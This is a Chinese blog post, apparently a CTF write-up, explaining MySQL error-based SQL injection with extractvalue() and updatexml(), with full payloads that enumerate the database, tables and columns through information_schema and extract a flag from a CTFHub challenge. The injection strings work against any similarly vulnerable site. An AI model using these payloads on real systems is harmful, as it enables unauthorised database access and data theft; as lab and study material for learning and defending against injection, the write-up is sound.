当前位置:网站首页>SQL报错注入1
SQL报错注入1
2022-06-11 17:46:00 【榴莲 蛋挞】
当输入语句出现错误时,会将相应错误输出到前端。SQL报错注入是基于这个条件进行。
常用报错函数:updatexml(),extractvalue(),floor(),exp()
其中extractvalue()用法是
extractvalue(xml_str,Xpath),是从xml中查询Xpath格式的字符串,并返回结果
但是,Xpath不能是结合~或#的字符串,否则会报错,报错会将整个错误的整个字符串都回显出来,因此可以利用报错回显找到想要的信息(xml_str可以随意填写),比如,ctfhub这题CTFHub

输入:
1 and extractvalue(1,concat(0x7e,database()))#得到当前所属数据库为sqli

再查找当前数据库中包含的表格:
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli')))#得到结果
可知sqli数据库中,除了表news,还有表flag,
查找表中字段:
1 and extractvalue(2,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')))#得到:

可知表格flag中只有字段flag
于是输入:
1 and extractvalue(1,concat(0x7e,(select flag from flag)))#得到结果:

要注意的是,xpath回显上限32位
对于updatexml()函数,其格式是updatexml(xml,Xpath,news),是查找并替换xml文档中Xpath格式的字符串为news格式,其中Xpath的利用与extractvalue类似,因此注入方法只是多了一个可以内容随意的news的输入,例如对于以上题目,输入:
1 and updatexml(1,concat(0x7e,(select flag from flag)),1)#就能得到结果:
边栏推荐
- upload-labs通关未半而中道崩殂
- Merge two ordered linked lists ---2022/02/24
- Codeworks round 479 (Div. 3) [done]
- 6-1 read string (*) from file
- Network Security Threat Intelligence System
- Global and Chinese markets for private internet access 2022-2028: Research Report on technology, participants, trends, market size and share
- mysql8安装,navicat安装,sqli-labs搭建
- Tle6389-2g V50's unique pwm/pfm control scheme has a duty cycle of up to 100%, forming a very low differential pressure - keshijin mall
- Kubernetes deploys elk and collects container logs using filebeat
- 6-3 batch sum (*)
猜你喜欢

Ffmpeg parity field frame interlace progressive command and code processing

测试基础之:黑盒测试

How ZABBIX can customize MySQL monitoring items and trigger alarms

After class, I looked at the document and went back to the lab. I picked up the forgotten SQL operators again

Merge K ascending linked lists ---2022/02/26

有效的括号---2022/02/23
![[collect first and use it sooner or later] 100 Flink high-frequency interview questions series (II)](/img/cf/44b3983dd5d5f7b92d90d918215908.png)
[collect first and use it sooner or later] 100 Flink high-frequency interview questions series (II)
![[collect first and use it sooner or later] 49 Flink high-frequency interview questions series (I)](/img/c4/eb57b29700b6c033f6d0af2892f7a6.png)
[collect first and use it sooner or later] 49 Flink high-frequency interview questions series (I)
![[foundation of deep learning] learning of neural network (3)](/img/a5/1b80ba85faf8fa636b784c76d4df2f.png)
[foundation of deep learning] learning of neural network (3)

【先收藏,早晚用得到】100个Flink高频面试题系列(二)
随机推荐
【先收藏,早晚用得到】49个Flink高频面试题系列(一)
Getting started with Wireshark
6-5 count the number of words (file) (*)
【题解】Codeforces Round #798 (Div. 2)
Service学习笔记03- 前台服务实战
[collect first and use it sooner or later] 100 Flink high-frequency interview questions series (III)
Expérience initiale du moteur de segmentation de l'araignée mariadb
sqli-labs通关嘿嘿~
Service learning notes 01 start method and life cycle
How ZABBIX can customize MySQL monitoring items and trigger alarms
Upload labs failed to pass the customs halfway and the middle road collapsed
Global and Chinese markets for private internet access 2022-2028: Research Report on technology, participants, trends, market size and share
Spring 2021 daily question [week7 not finished]
网络安全威胁情报体系
tidb-cdc创建任务报错 Unknown or incorrect time zone
After class, I looked at the document and went back to the lab. I picked up the forgotten SQL operators again
测试基础之:黑盒测试
vulhub
MFSR:一种新的推荐系统多级模糊相似度量
Windows technology - how to view the instruction set, model, attribute and other details supported by the CPU, and how to use the CPU-Z tool to view the processor, memory, graphics card, motherboard,